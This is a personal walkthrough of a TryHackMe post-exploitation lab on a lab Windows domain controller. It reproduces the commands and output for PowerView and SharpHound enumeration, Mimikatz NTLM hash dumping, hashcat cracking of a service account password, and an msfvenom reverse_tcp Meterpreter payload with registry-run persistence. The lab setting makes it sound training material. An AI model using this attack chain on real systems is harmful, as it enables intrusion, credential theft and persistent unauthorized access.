Post-Exploitation
These notes are from a challenge I did @tryhackme called Post-Exploitation Basics.
Enumeration with Powerview
Out of reflex, just scan target withnmap -sC -sV 10.10.225.31
Nmap output
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 15:33 EDT
Nmap scan report for 10.10.225.31
Host is up (0.30s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 96:d2:bc:63:49:65:18:f6:03:54:0f:7d:92:0f:8d:e8 (RSA)
| 256 ec:59:64:da:54:05:16:ba:74:ef:35:73:94:a3:d2:61 (ECDSA)
|_ 256 1a:bb:4e:1b:ec:25:3c:14:69:9e:f4:69:0b:41:77:63 (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-16 19:33:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
| ssl-cert: Subject: commonName=Domain-Controller.CONTROLLER.local
| Subject Alternative Name: othername:<unsupported>, DNS:Domain-Controller.CONTROLLER.local
| Not valid before: 2020-10-03T15:15:57
|_Not valid after: 2021-10-03T15:15:57
|_ssl-date: 2021-09-16T19:34:19+00:00; +1s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: CONTROLLER.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Domain-Controller.CONTROLLER.local
| Subject Alternative Name: othername:<unsupported>, DNS:Domain-Controller.CONTROLLER.local
| Not valid before: 2020-10-03T15:15:57
|_Not valid after: 2021-10-03T15:15:57
|_ssl-date: 2021-09-16T19:34:19+00:00; +1s from scanner time.
3268/tcp open ldap
| ssl-cert: Subject: commonName=Domain-Controller.CONTROLLER.local
| Subject Alternative Name: othername:<unsupported>, DNS:Domain-Controller.CONTROLLER.local
| Not valid before: 2020-10-03T15:15:57
|_Not valid after: 2021-10-03T15:15:57
|_ssl-date: 2021-09-16T19:34:19+00:00; +1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: CONTROLLER.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Domain-Controller.CONTROLLER.local
| Subject Alternative Name: othername:<unsupported>, DNS:Domain-Controller.CONTROLLER.local
| Not valid before: 2020-10-03T15:15:57
|_Not valid after: 2021-10-03T15:15:57
|_ssl-date: 2021-09-16T19:34:19+00:00; +1s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: CONTROLLER
| NetBIOS_Domain_Name: CONTROLLER
| NetBIOS_Computer_Name: DOMAIN-CONTROLL
| DNS_Domain_Name: CONTROLLER.local
| DNS_Computer_Name: Domain-Controller.CONTROLLER.local
| Product_Version: 10.0.17763
|_ System_Time: 2021-09-16T19:34:08+00:00
| ssl-cert: Subject: commonName=Domain-Controller.CONTROLLER.local
| Not valid before: 2021-09-15T19:25:35
|_Not valid after: 2022-03-17T19:25:35
|_ssl-date: 2021-09-16T19:34:19+00:00; +1s from scanner time.
Service Info: Host: DOMAIN-CONTROLL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-09-16T19:34:10
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.30 seconds
Login with SSH using the given credentials: ssh -l Administrator@CONTROLLER 10.10.225.31
powershell -ep bypass
. .\Downloads\PowerView.ps1
Get-NetUser | select cn
Get-NetGroup -GroupName *admin*
"Get-NetUser" output
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd
"Get-NetGroup" output
Administrators
Hyper-V Administrators
Storage Replica Administrators
Schema Admins
Enterprise Admins
Domain Admins
Key Admins
Enterprise Key Admins
DnsAdmins
What is the shared folder that is not set by default? Invoke-ShareFinder
"Get-NetGroup" output
\\Domain-Controller.CONTROLLER.local\ADMIN$ - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$ - Default share
\\Domain-Controller.CONTROLLER.local\IPC$ - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON - Logon server share
\\Domain-Controller.CONTROLLER.local\Share -
\\Domain-Controller.CONTROLLER.local\SYSVOL - Logon server share
What operating system is running inside of the network besides Windows Server 2019 Get-NetComputer -fulldata | select operatingsystem
"Get-NetGroup" output
operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation
Install bloodhound and run neo4j
apt-get install bloodhound
neo4j console
"neo4j console" output
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /usr/share/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /usr/share/neo4j/data
certificates: /usr/share/neo4j/certificates
run: /usr/share/neo4j/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
2021-09-16 19:47:14.222+0000 INFO Starting...
2021-09-16 19:47:17.369+0000 INFO ======== Neo4j 4.2.1 ========
2021-09-16 19:47:19.944+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2021-09-16 19:47:19.964+0000 INFO Setting up initial user from defaults: neo4j
2021-09-16 19:47:19.964+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2021-09-16 19:47:19.983+0000 INFO Setting version for 'security-users' to 2
2021-09-16 19:47:19.989+0000 INFO After initialization of system graph model component 'security-users' have version 2 and status CURRENT
2021-09-16 19:47:19.996+0000 INFO Performing postInitialization step for component 'security-users' with version 2 and status CURRENT
2021-09-16 19:47:20.462+0000 INFO Bolt enabled on localhost:7687.
2021-09-16 19:47:21.918+0000 INFO Remote interface available at http://localhost:7474/
2021-09-16 19:47:21.918+0000 INFO Started.
Getting loot with SharpHound
powershell -ep bypass
. .\Downloads\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
"loot.zip" output
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/13/2020 8:01 PM 3D Objects
d-r--- 5/13/2020 8:01 PM Contacts
d-r--- 5/13/2020 8:01 PM Desktop
d-r--- 5/14/2020 8:27 PM Documents
d-r--- 10/3/2020 8:33 AM Downloads
d-r--- 5/13/2020 8:01 PM Favorites
d-r--- 5/13/2020 8:01 PM Links
d-r--- 5/13/2020 8:01 PM Music
d-r--- 5/13/2020 8:01 PM Pictures
d-r--- 5/13/2020 8:01 PM Saved Games
d-r--- 5/13/2020 8:01 PM Searches
d-r--- 5/13/2020 8:01 PM Videos
-a---- 9/16/2021 12:58 PM 9496 20210916125838_loot.zip
-a---- 9/16/2021 12:58 PM 11709 YmM2MWQ1NzYtYWFhYS00MjM1LThjYmQtYTE4ZDM4ZGFiNTFl.bin
Copy file to Kali server: scp -r [email protected]:/Users/Administrator/20210916125838_loot.zip .
Setup a SSH Tunnel for port 7474 and 7687 (example just shows 7474)
Login to neo4j
Run bloodhound and login and load the file we copied:
Use the queries to search for answers you need...
Dumping hashes with mimikatz
On the target server run mimikatz
mimikatz output
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
RID : 0000044f (1103)
User : Machine1
LM :
NTLM : 64f12cddaa88057e06a81b54e73b949b
RID : 00000451 (1105)
User : Admin2
LM :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe
RID : 00000452 (1106)
User : Machine2
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 00000453 (1107)
User : SQLService
LM :
NTLM : f4ab68f27303bcb4024650d8fc5f973a
RID : 00000454 (1108)
User : POST
LM :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2
RID : 00000457 (1111)
User : sshd
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM :
NTLM : aaef917074163b7c853c3f019f33bcd9
RID : 00000455 (1109)
User : DESKTOP-2$
LM :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c
RID : 00000456 (1110)
User : DESKTOP-1$
LM :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a
Let us start by cracking the SQLService: hashcat -m 1000 f4ab68f27303bcb4024650d8fc5f973a /usr/share/wordlists/rockyou.txt
hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
hashcat output
fab1@kali:~$ hashcat -m 1000 f4ab68f27303bcb4024650d8fc5f973a /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz, 13896/13960 MB (4096 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: f4ab68f27303bcb4024650d8fc5f973a
Time.Started.....: Thu Sep 16 16:53:00 2021 (3 secs)
Time.Estimated...: Thu Sep 16 16:53:03 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3817.3 kH/s (0.25ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10846208/14344385 (75.61%)
Rejected.........: 0/10846208 (0.00%)
Restore.Point....: 10842112/14344385 (75.58%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Magic01 -> MYSELFonly4EVER
Started: Thu Sep 16 16:52:35 2021
Stopped: Thu Sep 16 16:53:04 2021
Looks like we need to crack the passwords of Machine1 (64f12cddaa88057e06a81b54e73b949b) and Machine2 (c39f2beb3d2ec06a62cb887fb391dee0)...
Maintaining Access
Generating a Payload with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.193.173 LPORT=5555 -f exe -o sh3ll.exe
Start metasplot and listen
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
Move file to target and run it:
scp sh3ll.exe [email protected]:/Users/Administrator/sh3ll.exe
ssh -l Administrator@CONTROLLER 10.10.119.134
PS C:\Users\Administrator\> sh3ll.exe
using "exploit/windows/local/persistence"
"exploit/windows/local/persistence" output
Global
======
No entries in data store.
Module: windows/local/persistence
=================================
Name Value
---- -----
ContextInformationFile
DELAY 10
DisablePayloadHandler true
EXE::Custom
EXE::EICAR false
EXE::FallBack false
EXE::Inject false
EXE::OldMethod false
EXE::Path
EXE::Template
EXEC_AFTER false
EXE_NAME
EnableContextEncoding false
HANDLER false
LHOST 10.9.193.173
LPORT 4444
MSI::Custom
MSI::EICAR false
MSI::Path
MSI::Template
MSI::UAC false
PATH
PAYLOAD windows/meterpreter/reverse_tcp
REG_NAME
SESSION 3
STARTUP USER
VBS_NAME
VERBOSE false
WORKSPACE
WfsDelay 2
This is the output of running exploit/windows/local/persistence. As you can see we add iwIPTcY.vbs to run during the next start. iwIPTcY.vbs contains a base64 encoded executable that will help getting a reverse shell when listening on the right port by sending a payload every 10 seconds.
msf6 exploit(windows/local/persistence) > run
[!] SESSION may not be compatible with this module (missing Meterpreter features: stdapi_sys_process_set_term_size)
[*] Running persistent module against DOMAIN-CONTROLL via session ID: 3
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\iwIPTcY.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xFgziBlM
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xFgziBlM
[*] Clean up Meterpreter RC file: /home/fab1/.msf4/logs/persistence/DOMAIN-CONTROLL_20210923.3728/DOMAIN-CONTROLL_20210923.3728.rc
Set a new multi handler to use windows/meterpreter/reverse_tcp
use exploit/multi/handler
use windows/meterpreter/reverse_tcp
"exploit/multi/handler" output
Global
======
No entries in data store.
Module: multi/handler
=====================
Name Value
---- -----
ContextInformationFile
DisablePayloadHandler false
EnableContextEncoding false
ExitOnSession true
LHOST 10.10.119.134
LPORT 5555
ListenerTimeout 0
PAYLOAD windows/meterpreter/reverse_tcp
VERBOSE true
WORKSPACE
WfsDelay 2
After a reboot of the victim we get a new shell:
"exploit/multi/handler" output
[-] Handler failed to bind to 10.10.119.134:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 10.10.119.134 - Meterpreter session 3 closed. Reason: Died
msf6 exploit(multi/handler) > run
[-] Handler failed to bind to 10.10.119.134:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
C:\Users\Administrator\AppData\Local\Temp\[*] Sending stage (175174 bytes) to 10.10.119.134
[*] Meterpreter session 4 opened (10.9.193.173:4444 -> 10.10.119.134:49750) at 2021-09-23 15:45:54 -0400
meterpreter > sysinfo
Computer : DOMAIN-CONTROLL
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CONTROLLER
Logged On Users : 9
Meterpreter : x86/windows